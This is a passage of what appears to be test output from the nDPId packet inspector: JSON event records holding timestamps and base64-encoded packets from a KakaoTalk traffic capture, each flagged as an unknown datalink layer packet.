SPbZm67w5vSgdD8jFR8\/ryuyJh8\/lxw3B8V+TRLep+OFjURrraXUslSzTF+dJkZ1MeMPjSxbNV6P2DshwdFUyNaaZX2w3M1i2ib1Laj5r2Mbs4OQV8MnTe+NcJf3yYK9PCJgpl9wjE2fpMHhllVb2+W+iN5btncbantgq+5QlRrq0Lwvfw89aPfmqIuQxhSZAqlcbmcnF\/HGvNhjkr8v2Rpa2QXaWofERJbbj+\/ePtv+zCGknb0eiHDAvCkBCeQI6IRO6IT+Xu1HU6GP6xSYSLp7eYuv0NiTFf1y5efQgee\/P4oVuLPnnw3DDy4vjg7KI3b09No6QWnVDqKwqR+8hwFhr67c7Z2pcpnjFochKxpN1\/dIrh6ck92S1D62dwfjg7wzSNiUseSA7c3ZhVxwIzNuNJRQxz+21FawNYXBzjvC\/f2S8MxoE1gsP\/BXWNjLHnEgs3q7iYXWjK1haxIjdgCN2byYptuqRIzz3YCq70c1Qxo1S+WxOrw=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":62,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +01299{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":63,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069165,"pkt_ts_usec":834906,"pkt_caplen":734,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":734,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAs7yiEAALwb8Tm5MjzIKGFK8Iynl6dfwoe0taZI5gBgAJCccAAABAQgKRNtxZQACx3oXAwEAIBbu9uAJg9KejXeOW2eVwXNlTw84ENpo\/M8t0yWdLIBRFwMBAnD8\/n5dmx5yFayof5AuEOzyfFGSsuX4moQaSelOPWiF+UZEJphobW5gu8v+ad8sW8rg\/d\/HDWCGMAyq5rRYLnItWPJ2Fh3gNQfzggt6JGTgZvzawxIC\/2pueXO2eu1Vw1obTExhQq9qiDQ\/5REti2wMh0pUYVwhRdkYVK8xP0lMu3mfP+Ygm3uqN6qLNghIx\/5cJuOcj7amWTjPQHy47UJlvwM998QUmOrYuRXbaroscu3pcsDnywoLTcLx9KO7lJFw\/gZFJqvwvTRQBDV7It3yueZCiBQ\/iRoeGmw4tDYkte\/ysW73Q3eyGF2HECKqFnBNA8jc+EL64ZU6u8u15HJsd1hfR8M+fUyL+edOruuDm0hP9JNBTkjhsB6bDH9U88dJM7aI7wM\/DjJOTjBw8MgrDTuMv3osumvLOCS5eUJVjEJ+ZD2aOxMDhU6l+6\/KW248cHgPPF7w3PnRme6fjjwwU8HZvpfkFFvJgHDpo3ESXLdNp6j3dxGO6pkIjiVDb4UB7CKO2pDuTfrE9wISLgUp2e\/gAC99o2imZ7DQf0nBfID8+\/UrAAEzNu2LSaRxklqLBSUWZy2W97bJFRREf0CgM4WRPv8WqXg4NRb\/MhCEvr4kOVoW9L00yXq+RYObQyPixWLrG48PBq68n2XfkE2rEI08iTyh8zd4iMWAI7tRLI9DRvYGRcFwSUGG1ZD5kQA0CS4Ym9MjTxGXJJGBUCEnSd\/oIqxw0C50KjHrCq9Q9T6+aU+u93h524S+E7uH\/53KMYbD+WPsi0WxXhRLnoJOXSOk0yAUarVyVDyMJs8TgaRu5aOUMl85JD2NBvQnYWc="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":63,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":64,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069165,"pkt_ts_usec":869879,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADRKm0AAQAaV1goYUrxuTI8y5ekjKS1pkjnX8KSHgBACVlp5AAABAQgKAALHmkTbcWU="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":64,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00521{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":65,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069170,"pkt_ts_usec":90460,"pkt_caplen":164,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":164,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJSUaEAAQAZSqQoYUrytwki8h34UbGWkOWcyCtXvgBgB1zgmAAABAQgKAALJQHWhBxYXAwEAW9BJTUK7bhQDJS6M4k2xveYn3KZ2THpi3b2p1WnyM44nZ0651+YzJehbLb+jV4nNEd4GZbKLQU+P8abQYninXFhPSKcNuFppnDwsImxNyj3HrOvurwOWRZpYp3o="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":65,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +01468{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":66,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069170,"pkt_ts_usec":406256,"pkt_caplen":862,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":862,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAA05KnEAAQAaSuwoYUrxuTI8y5ekjKS1pkjnX8KSHgBgCVq2kAAABAQgKAALJX0TbcWUXAwEAILKvjA1rGSYETwUErQSrhwubprhc+diQtgy8xQIPoKbyFwMBAvA1mPcMTtVnApvBr6qYNXLE9sdtRQHNv41\/3wNOb9mRDbvyh6QxjK9ctsqj\/1gnJ8sPFF6vv9Qfv60TBVpGaRmMfRCBClcfUW8rcTaiNv6TupPERaxQ89r0QuTkJMKkghxoUVClmYxvPV6KZyIi7VqMej8vLBQPuaVn6kMyrEB1BDVYuw\/kx6rEy3xnMY9hgH3cZmtYP\/ZUvFWcvvVuRqTmqAAlhR9hMlpSPYfyaDGa9oPwzRTr+TO9N4HuQ8oHasOUn5Se4hiG+K9X\/Oo53G7tX1eLc6MeoSQi1aFHe0TtXSIzZa1vIEx\/lLJoW5QV0xm6cQbTCke+m\/b28eS2TD7mVOpJ\/aJHAn6jAWM\/q2wY5+PzF\/llSerF2IeXR+d1S+83D2TpWbiQqnCoFkgWurLJir9B9ZoJdnq+agvXh5SWlUS7ryFWK1HQ1N1za1BgMXnePt4c3GwYgdwEEnvCVexpHDSgbMf+L43TS7Ry66U+QtROG0tUFtcbHgtnVapOGMEzQiMthNJyrYcMpHuPI8VM92vbO4E9TrXjc\/KxbUlxJFYSXFVZpLMPACco2Jmzi2WuiwI2SMJXA08frVutjFK97o12J42gUBK+IwdL2QPNNYPCg6Ewf4PPh92orXcLls3MVj2eK+LxlCIAGHULIoPoKv4vfsyh0EEavhgdpDOpGXnOIac4hxV+tIr5HyiBXvVN5Uukb2XYLu2OOohXcwjdHRBIEE8dl0JYaYBQx21xBzf2Ru1Nk3i0LWRfCuYn4lgWN5+b6jc8lxQhDJ147mJcEVrXQYI+nWtScO1pw+nwfbkgkppYNI1jdEGuTZxlf4NhU\/en2bGa0t59ZXcTpeYit+eJ2YmhoMdCzM\/t4JPMhxwTysN0\/uQnJkYAoV0ZoQynW+tY6sJkstSBAmgoLf6zMoQ4bHxy8YxwaRfWYqkMSnRdjgl1Lp2+RJiFwRWR1cAcOgvQXBh7mqP2KGKwIsAmaTgwQkGeJyRLYqmdOICfOA=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":66,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +01361{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":67,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069170,"pkt_ts_usec":703772,"pkt_caplen":782,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":782,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAv6w3UAALwY9ym5MjzIKGFK8H5CAyJJ44Mn3Ed2ogBgAJHYbAAABAQgKRNuEaAALP24XAwEAIKyRqSHyPEKNOHG7RbUjn3N9oOyPfWWQZ\/Z\/LgkxhP+lFwMBAqBa4zdJxnEZDfRNwZy\/hPBxqFpDvQ5hYHi+mhtg8aEvgmGttqPr9vNQNNBla7S12j7U4UU2Kxhqku9QG\/Gapbkn5p9eMlTKUjpoG4rm5ZMvzTwBRtHNEksYviVJewGN9zRqzro6AKklCdlULJ83Qa50rL0i7o4Cryf27OrhVtmosRHsmWWFquDQACUMe3C\/XBbk5th1bY2F09Fqvb7hZe\/51CB20BWC4pRNrAmFqGBKsWjVJGYP8DW0V7hTgSx96n6GbfXZG8C+kTfwq5enqhz0vKuuy0uZQXTMyNj6W1bdkNBjr\/LdeeBizb5p9AvbwMkoWh9rLpCdJ6mGMJcJhht903nvgcT6DtM9rn4OUQLwtnc8JW2QCYkZJng+BKHgVcUw6zbLMQyMsaZCkR3Ztb1VRE8gnGnxia3i18lF3q8W1E6+733azou0PfOVuhgUUccC\/s4wr0aIDe+pe6RoLxJbkCcYfqOtooUr\/R5f7Q3rtFL5jrQzWqlu7mTVvibdhrppK4H5OD\/5PcBoFXz3bevRM4W1XuHukXtP4Zad\/acGJykjLwcTtwtDw2\/rneRCLC3YmiChjTuPTwXbr26BQgLHieZWTK4J8J32arQRigQA2s5Y+BVT6RUVI+LrYUEIcjmsfpuzn0kwxisCDWerzdRJ\/A+g9svnfaqwJVj+JvV+SPan6vKNiHAxWibUZ1urTAtPP462YVDUUqnW\/wGEfHSsKUnY5mNBpt15FPgXybQylzjB+W3n3I+RbfKxMsWqMveLTxq+8Wwi5I4jEpw2zvtCHDpP+92cPcbCtcydfd+\/hT+kQs5VnzvXG78uuO6+1JhmeoCWOg40kWU8YzuwMRM47lFGa8z2ppWH+p6jh7v0PUEAux+WiTEvSWhXK7fXVR4="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":67,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +01445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":68,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069170,"pkt_ts_usec":707526,"pkt_caplen":846,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":846,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAz7yiUAALwb73W5MjzIKGFK8Iynl6dfwpIctaZVTgBgAJ1DRAAABAQgKRNuEaQACyV8XAwEAIIsviNHnZZ5fEIE0cHfEg0lcQO8Lm\/uwqEN+afof2uidFwMBAuCODX4hJGa19xF\/7k8uKcOtF5VjtfMjBl6h0RSuzJEDQIe6pEnYxU4bdq\/L5qFfOz1RR+GzI3gqWb33PyjBEmKztARCJw3ymL34FHXATfkPciQsxYcnb2t\/xgJRoyz2cB7lznGT4RHDxrL5H0ffbz\/DZtC\/S92VZzAz3QkAYKhVn3j6OK3QdpNvwtgyAf6HzryW7as0Sy2C0EPieM838OKPAbggwkQTGSkI1OTKA\/AlxGHIeiYRGymy+v+Nqu9bUBtGTmfC99FDCA505WGTGR9xAvYBPR2RBPVVt4Ac4wt2E6K37P5EdJGZc5KFiK97aVqWe2Asp+xeoCkUDSC2CYbdUtOLIqD6YZao9hhYzCrLLxiX4ZZppK0MYJnQpwsJUhAeK4LB9L1dHw1jAdWdYXNqe\/hArNj0niR1RczlkqpDBKKvO7is8FREQipEJoybCpkZXyMrDldbWC8WHJpatQ7TSZ0KQ\/tKUMmIMFrhaaiwsXp5LAV4H4HODsRBbFcJnSWvhwusZxRlX0RdHoL9oDk2rxTiHd\/hJ\/q34H0k57SVjQmRCjOx9LusCemXDpkdVwVz+94gIiqMLA78yd6hDuDb\/v3bLt5UgyXHE6JnOglh0TP2YMBBgy8PhME3vRjnrqsN7EpHHPVqQbbzxqiOifGcVOWREO1WLW7MIwQ65SEiTqaTOkVkoZo17jIlXxZqYCDOEDoBWR0RtLiM9vLZ94b5xSUgGBIDi3urk4H9Mr4msr67Ab1omsBhaeO4+AQyRrJFFWugvj37A2xBne4Jz4GwICpHi9v8lvVpKA4\/XoHLLCdxkEFdDypMaATNVnyaHExWx+liyTMubwKYH5TdM6\/9X\/2MuqqPzSCHO6EYKamPN58y5sAnzFD6rTo6TbzCBIUdrUhHulzqJ+B9hRoxStm9FbgyBEwhi0poAn1ZtZsvm8oDIB748uk9DGV85JjfTNDg33m9DVrRnoeE8KMVL7vq"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":68,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":69,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069170,"pkt_ts_usec":707770,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADRKnUAAQAaV1AoYUrxuTI8y5ekjKS1plVPX8KeRgBACi1p5AAABAQgKAALJfUTbhGk="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":69,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":70,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069170,"pkt_ts_usec":749030,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADTn7EAAPwb5hAoYUrxuTI8ygMgfkPcR3aiSeOOTgBAAqCWIAAABAQgKAAtBzETbhGg="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":70,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00627{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":71,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069170,"pkt_ts_usec":751319,"pkt_caplen":238,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":238,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAN7n7UAAPwb42QoYUrxuTI8ygMgfkPcR3aiSeOOTgBgAqPR6AAABAQgKAAtBzUTbhGgXAwEAIBnluoAxmGsbjSSghixkdaSDIjSYX25wkt+8RBvsg5f4FwMBAIDZso0VXLxlVyzWYQHqvAkL9HrkBJF4NmKHlCnTjVCzUJRJpAxG5W\/KDzDzzwLS6IV1PPKufK6HCwnJmz76dup3nSmMi2i9yCOs2txtFjOT6CfWMoT+FwneLbcSnxUNXWXeojiJ5zXCS\/BTDVFDhQbd\/RNtshJHz\/Qx\/3q1tFGtow=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":71,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00796{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":72,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069170,"pkt_ts_usec":855475,"pkt_caplen":366,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":366,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAV7yikAALwb9vG5MjzIKGFK8Iynl6dfwp5EtaZVTgBgAJ4ulAAABAQgKRNuFAAACyX0XAwEAIE0jrfkqN43a5LV84AgOgmi86zSfEgzYu5YCr8nlNntMFwMBAQBPPV\/1iy\/l4p1H9V0ccWwWTDpK8fKtGIEoM4+MyyApcNYt+Dc4vfLiFqDLNAbdfnkDTHKd3h1qRYGhPp0HUE+kKRtlsveWFQSR1LKX+utZvIFkU1nA1fzYGpzf7fE\/x0ZJlZhUlClNDwYmxQ89QybPWNor\/Zz4ZRCbaFa75a0zVvbrKiepFBGMAPGwy4IlSBJtJD+LA22Stz2ufkeyzWrM+TuPtdydRF52IWRki6fhEoxDxuA3SCKq9L21JWIkf3DVVjF5XCqhMBO+nZ00XKPT46ivpKBbk5plmP1ZE2g7T6LwFAyJGqdJpkCE\/n8cCKjodifSlkdbrl\/VZ5YRoL0n"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":72,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":73,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069170,"pkt_ts_usec":855628,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADRKnkAAQAaV0woYUrxuTI8y5ekjKS1plVPX8Ki7gBACwFp5AAABAQgKAALJjETbhQA="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":73,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00795{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":74,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069170,"pkt_ts_usec":887458,"pkt_caplen":366,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":366,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAV6w3kAALwY\/aW5MjzIKGFK8H5CAyJJ445P3Ed2ogBgAJCgvAAABAQgKRNuFKAALQcwXAwEAIMfy3jwo\/J+rfo8FfVkoc6dMBcPicgemGlOYD5SBDa7hFwMBAQAw0cz9rghfv0CCBjBszaHLwT9yuRdjyDj2gPqU0nvWhm6WIPXwufHGIYYY+XbwPX\/wi2Q1iwSJ+7lIfyAKxZC4c7rnA33+cUN06\/oHAf+sZUiTyhmrsMWOJgmtARL79KJkbwB1XkL02inGke5DrnJR6kGV51HiSKvMnsuM60bndFQRRk1dP2XqQOo+AIPwpQDASrzHSBWy+9jHGHKqcCQH9hyLDoRemVRI3PR9U4Pa2GZWhVxP3dywkO\/IlSYBFFsh23mH2nTCPR5dIaGH+0h4Ip0b2wRgHF6n6Cr+20Y0qV4WrPdyvLwtT6sw4QwQUeffe7Spp2WzU5V72pejQiqo"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":74,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00467{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":75,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069170,"pkt_ts_usec":892951,"pkt_caplen":122,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":122,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGoAAEAAPxHbOAoYUrwByQGuLDlaBQBWgNSByQAHC4ZVGZBlh61hMGy+mVz7szeLE04wAIGpUs16HTnaFQo\/DwShnbgrVUo6QPfO7hnIEQI6Zble8vC3moejgAAAAXwPCk3m1v5lftk="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":75,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":76,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069170,"pkt_ts_usec":928687,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADTn7kAAPwb5ggoYUrxuTI8ygMgfkPcR3lKSeOS9gBAAtSLUAAABAQgKAAtB30TbhSg="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":76,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":77,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069170,"pkt_ts_usec":963507,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAADSw30AALwZAkm5MjzIKGFK8H5CAyJJ45L33Ed5SgBAAJyMkAAABAQgKRNuFeAALQc0="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":77,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00627{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":78,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069170,"pkt_ts_usec":965247,"pkt_caplen":238,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":238,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAN7n70AAPwb41woYUrxuTI8ygMgfkPcR3lKSeOS9gBgAtSTKAAABAQgKAAtB4kTbhXgXAwEAIBJ9bNQpYwM7qC+el06NuR3c8uuz0ls6qu921wYzpPEIFwMBAIAfi5q02g\/Sisk3i5RYeZHWLWfaxzZ1oYBhs\/gVR2ghyel9ykoKPHFEHivRyf\/odbsZhgGtrNDBJxzbQkDns\/ltWoLwl9EwFZF7wSBve1IHiyM64DP1v\/yQXX8fTjsQO+lzZMdo5RU6VqqGQmQvr0vCAzXMhDMoULcgwigyph+gmQ=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":78,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00468{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":79,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069170,"pkt_ts_usec":975714,"pkt_caplen":122,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":122,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGoAAEAAQBHaOAoYUrwByQGuKB1aBwBWSf6ByQAHVJql2hcYBvUW09\/cV2PnqW9IAC+tkcS3zbxHaXzNy97m1tMPsxdrmxKMjQTBocmvV+MtI4fyJpYC3zCcgAAAAaPWslm6g8tl\/I8="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":79,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00626{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":80,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069170,"pkt_ts_usec":977912,"pkt_caplen":238,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":238,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAN5Kn0AAQAaVKAoYUrxuTI8y5ekjKS1plVPX8Ki7gBgCwAVtAAABAQgKAALJmETbhQAXAwEAIGpoIruv8BnkAeA5hdPZli\/BXGKaaQegFUFkmWV9TYBeFwMBAIDD3apmgMciP2Nh3eerxIrrhQkh\/CpZOU9Rj84ER4Txqb8\/btrUWccdOt4sz7qBUllTJq0269FRTpCvTtMw4WsbaIazpSE7NxJzPcDrFBTHyF6sM193bKLjZMmbVw1gj541XZZj\/lNMNUZvrMikEy4MJjnp2cp9CjhJCjWjrvZnJg=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":80,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":81,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069171,"pkt_ts_usec":111579,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAADSw4EAALwZAkW5MjzIKGFK8H5CAyJJ45L33Ed78gBAAKiHNAAABAQgKRNuGDQALQeI="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":81,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00438{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":82,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069171,"pkt_ts_usec":118750,"pkt_caplen":100,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":100,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFQAAEAAPxHbTgoYUrwByQGuLDhaBABATCmA7E6yizmc2guGVRn+xfaQv+g9g3ccEnajV1GbM8MpJWVK2C77CAiJwDoJYkgGCqWuS2HWMkwGeQ=="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":82,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":83,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069171,"pkt_ts_usec":120856,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/C92AbE6zizmgmguGVRkt\/rZnfXpGz0N2A\/IfJpewUyMSY166JO1xGXdEkGNQd31ADIw6ZS3SDh9Y"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":83,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":84,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069171,"pkt_ts_usec":120948,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/5SmAbE60izmkWguGVRmezvGSQL2r8\/lU9MEKvF6SC08uWokrFHcn2V7\/8UTxLNEjkf5mPRch1tsI"} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":84,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":85,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069171,"pkt_ts_usec":127448,"pkt_caplen":122,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":122,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGoAAEAAGxH\/EAHJAa4KGFK8WgUsOQBWReSByQAHVJql2hcYBvUW09\/cV2PnqW9IAC+tkcS3zbxHaXzNy97m1tMPsxdrmxKMjQTBocmvV+MtI4fyJpYC3zCcgAAAAaPWslm6g8tl\/I8="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":85,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":86,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069171,"pkt_ts_usec":191718,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAADTyi0AALwb+5W5MjzIKGFK8Iynl6dfwqLstaZX9gBAAKjpHAAABAQgKRNuGXQACyZg="} +00168{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":86,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 